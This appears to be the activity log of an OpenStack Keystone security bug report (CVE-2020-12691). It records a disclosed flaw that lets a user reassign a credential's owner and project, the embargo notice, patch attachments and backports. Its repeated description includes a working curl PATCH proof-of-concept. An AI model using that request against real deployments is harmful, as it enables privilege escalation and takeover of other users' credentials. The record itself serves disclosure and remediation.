2020-04-14 14:44:26 |
kay |
bug |
|
|
added bug |
2020-04-14 15:03:46 |
Jeremy Stanley |
description |
"_build_target_enforcement" function checks only for "credential_id": https://github.com/openstack/keystone/blob/7bb6314e40d6947294260324e84a58de191f8609/keystone/api/credentials.py#L38
Thus even having a '"identity:update_credential": "rule:cloud_admin or (user_id:%(target.credential.user_id)s)"' policy doesn't prevent a malicious user to create an EC2 credential, then change its owner and project ID, e.g.:
curl -X PATCH https://keystone/v3/credentials/3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f -H 'Accept: application/json' -H 'Content-Type: application/json' -H "X-Auth-Token: ***" -d'{
"credential": {
"project_id": "_target_project_id_",
"user_id": "_target_user_id_"
}
}'
Additionally it is possible to Create a credential with any existing project_id, though it doesn't have a serious security issue, e.g.:
{
"credential": {
"blob": "{\"access\": \"ffe6fc21b47c4d87befc95ad070c3b7a\", \"secret\": \"530196cd097e4a7ca9df7258aa89ff0e\", \"trust_id\": null}",
"id": "3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f",
"project_id": "_any_project_id_",
"type": "ec2",
"user_id": "_my_user_id_"
}
} |
This issue is being treated as a potential security risk under
embargo. Please do not make any public mention of embargoed
(private) security vulnerabilities before their coordinated
publication by the OpenStack Vulnerability Management Team in the
form of an official OpenStack Security Advisory. This includes
discussion of the bug or associated fixes in public forums such as
mailing lists, code review systems and bug trackers. Please also
avoid private disclosure to other individuals not already approved
for access to this information, and provide this same reminder to
those who are made aware of the issue prior to publication. All
discussion should remain confined to this private bug report, and
any proposed fixes should be added to the bug as attachments. This
embargo shall not extend past 2020-07-13 and will be made
public by or on that date if no fix is identified.
"_build_target_enforcement" function checks only for "credential_id": https://github.com/openstack/keystone/blob/7bb6314e40d6947294260324e84a58de191f8609/keystone/api/credentials.py#L38
Thus even having a '"identity:update_credential": "rule:cloud_admin or (user_id:%(target.credential.user_id)s)"' policy doesn't prevent a malicious user to create an EC2 credential, then change its owner and project ID, e.g.:
curl -X PATCH https://keystone/v3/credentials/3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f -H 'Accept: application/json' -H 'Content-Type: application/json' -H "X-Auth-Token: ***" -d'{
"credential": {
"project_id": "_target_project_id_",
"user_id": "_target_user_id_"
}
}'
Additionally it is possible to Create a credential with any existing project_id, though it doesn't have a serious security issue, e.g.:
{
"credential": {
"blob": "{\"access\": \"ffe6fc21b47c4d87befc95ad070c3b7a\", \"secret\": \"530196cd097e4a7ca9df7258aa89ff0e\", \"trust_id\": null}",
"id": "3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f",
"project_id": "_any_project_id_",
"type": "ec2",
"user_id": "_my_user_id_"
}
} |
|
2020-04-14 15:04:06 |
Jeremy Stanley |
bug task added |
|
ossa |
|
2020-04-14 15:04:27 |
Jeremy Stanley |
ossa: status |
New |
Incomplete |
|
2020-04-14 15:04:56 |
Jeremy Stanley |
bug |
|
|
added subscriber Keystone Core security contacts |
2020-04-14 22:01:49 |
Colleen Murphy |
keystone: status |
New |
Triaged |
|
2020-04-14 22:01:59 |
Colleen Murphy |
keystone: importance |
Undecided |
High |
|
2020-04-15 00:26:19 |
Colleen Murphy |
attachment added |
|
0001-Disable-altering-credential-owner-attributes.patch https://bugs.launchpad.net/keystone/+bug/1872733/+attachment/5354247/+files/0001-Disable-altering-credential-owner-attributes.patch |
|
2020-04-15 00:26:37 |
Colleen Murphy |
keystone: assignee |
|
Colleen Murphy (krinkle) |
|
2020-04-15 00:26:42 |
Colleen Murphy |
keystone: status |
Triaged |
In Progress |
|
2020-04-16 19:49:26 |
Colleen Murphy |
attachment added |
|
0001-Disable-altering-credential-owner-attributes.patch https://bugs.launchpad.net/keystone/+bug/1872733/+attachment/5355724/+files/0001-Disable-altering-credential-owner-attributes.patch |
|
2020-04-30 04:02:35 |
Colleen Murphy |
attachment added |
|
train https://bugs.launchpad.net/keystone/+bug/1872733/+attachment/5363821/+files/0001-Disable-altering-credential-owner-attributes.patch-train |
|
2020-04-30 04:03:14 |
Colleen Murphy |
attachment added |
|
0001-Disable-altering-credential-owner-attributes.patch-stein https://bugs.launchpad.net/keystone/+bug/1872733/+attachment/5363822/+files/0001-Disable-altering-credential-owner-attributes.patch-stein |
|
2020-05-01 17:12:51 |
Gage Hugo |
bug |
|
|
added subscriber Mohammed Naser |
2020-05-01 22:08:49 |
Gage Hugo |
bug |
|
|
added subscriber Nick Tait |
2020-05-04 05:03:19 |
Colleen Murphy |
attachment added |
|
bug-1872733.diff https://bugs.launchpad.net/keystone/+bug/1872733/+attachment/5365987/+files/bug-1872733.diff |
|
2020-05-06 15:11:06 |
Gage Hugo |
description |
This issue is being treated as a potential security risk under
embargo. Please do not make any public mention of embargoed
(private) security vulnerabilities before their coordinated
publication by the OpenStack Vulnerability Management Team in the
form of an official OpenStack Security Advisory. This includes
discussion of the bug or associated fixes in public forums such as
mailing lists, code review systems and bug trackers. Please also
avoid private disclosure to other individuals not already approved
for access to this information, and provide this same reminder to
those who are made aware of the issue prior to publication. All
discussion should remain confined to this private bug report, and
any proposed fixes should be added to the bug as attachments. This
embargo shall not extend past 2020-07-13 and will be made
public by or on that date if no fix is identified.
"_build_target_enforcement" function checks only for "credential_id": https://github.com/openstack/keystone/blob/7bb6314e40d6947294260324e84a58de191f8609/keystone/api/credentials.py#L38
Thus even having a '"identity:update_credential": "rule:cloud_admin or (user_id:%(target.credential.user_id)s)"' policy doesn't prevent a malicious user to create an EC2 credential, then change its owner and project ID, e.g.:
curl -X PATCH https://keystone/v3/credentials/3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f -H 'Accept: application/json' -H 'Content-Type: application/json' -H "X-Auth-Token: ***" -d'{
"credential": {
"project_id": "_target_project_id_",
"user_id": "_target_user_id_"
}
}'
Additionally it is possible to Create a credential with any existing project_id, though it doesn't have a serious security issue, e.g.:
{
"credential": {
"blob": "{\"access\": \"ffe6fc21b47c4d87befc95ad070c3b7a\", \"secret\": \"530196cd097e4a7ca9df7258aa89ff0e\", \"trust_id\": null}",
"id": "3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f",
"project_id": "_any_project_id_",
"type": "ec2",
"user_id": "_my_user_id_"
}
} |
"_build_target_enforcement" function checks only for "credential_id": https://github.com/openstack/keystone/blob/7bb6314e40d6947294260324e84a58de191f8609/keystone/api/credentials.py#L38
Thus even having a '"identity:update_credential": "rule:cloud_admin or (user_id:%(target.credential.user_id)s)"' policy doesn't prevent a malicious user to create an EC2 credential, then change its owner and project ID, e.g.:
curl -X PATCH https://keystone/v3/credentials/3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f -H 'Accept: application/json' -H 'Content-Type: application/json' -H "X-Auth-Token: ***" -d'{
"credential": {
"project_id": "_target_project_id_",
"user_id": "_target_user_id_"
}
}'
Additionally it is possible to Create a credential with any existing project_id, though it doesn't have a serious security issue, e.g.:
{
"credential": {
"blob": "{\"access\": \"ffe6fc21b47c4d87befc95ad070c3b7a\", \"secret\": \"530196cd097e4a7ca9df7258aa89ff0e\", \"trust_id\": null}",
"id": "3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f",
"project_id": "_any_project_id_",
"type": "ec2",
"user_id": "_my_user_id_"
}
} |
|
2020-05-06 15:11:09 |
Gage Hugo |
information type |
Private Security |
Public Security |
|
2020-05-06 15:31:28 |
Edouard Dausque |
bug |
|
|
added subscriber Edouard Dausque |
2020-05-06 18:04:50 |
Jeremy Stanley |
ossa: status |
Incomplete |
In Progress |
|
2020-05-06 18:57:37 |
OpenStack Infra |
ossa: status |
In Progress |
Fix Released |
|
2020-05-07 18:42:37 |
Gage Hugo |
summary |
Keystone V3 /credentials endpoint policy logic allows to change credentials owner or target project ID |
[OSSA-2020-004] Keystone V3 /credentials endpoint policy logic allows to change credentials owner or target project ID (CVE-2020-12691) |
|
2020-05-07 19:38:28 |
Nick Tait |
cve linked |
|
2020-12691 |
|
2020-05-07 19:53:02 |
OpenStack Infra |
tags |
|
in-stable-ussuri |
|
2020-05-08 16:14:52 |
OpenStack Infra |
keystone: status |
In Progress |
Fix Released |
|
2020-05-08 16:35:15 |
Luke Hinds |
bug |
|
|
added subscriber Luke Hinds |
2020-05-08 16:35:19 |
Luke Hinds |
removed subscriber Luke Hinds |
|
|
|
2020-05-11 05:38:37 |
OpenStack Infra |
tags |
in-stable-ussuri |
in-stable-train in-stable-ussuri |
|
2020-05-11 20:02:02 |
OpenStack Infra |
tags |
in-stable-train in-stable-ussuri |
in-stable-stein in-stable-train in-stable-ussuri |
|
2020-05-13 17:14:43 |
OpenStack Infra |
tags |
in-stable-stein in-stable-train in-stable-ussuri |
in-stable-rocky in-stable-stein in-stable-train in-stable-ussuri |
|
2020-05-14 22:09:35 |
OpenStack Infra |
tags |
in-stable-rocky in-stable-stein in-stable-train in-stable-ussuri |
in-stable-queens in-stable-rocky in-stable-stein in-stable-train in-stable-ussuri |
|
2020-06-04 20:12:46 |
OpenStack Infra |
tags |
in-stable-queens in-stable-rocky in-stable-stein in-stable-train in-stable-ussuri |
in-stable-pike in-stable-queens in-stable-rocky in-stable-stein in-stable-train in-stable-ussuri |
|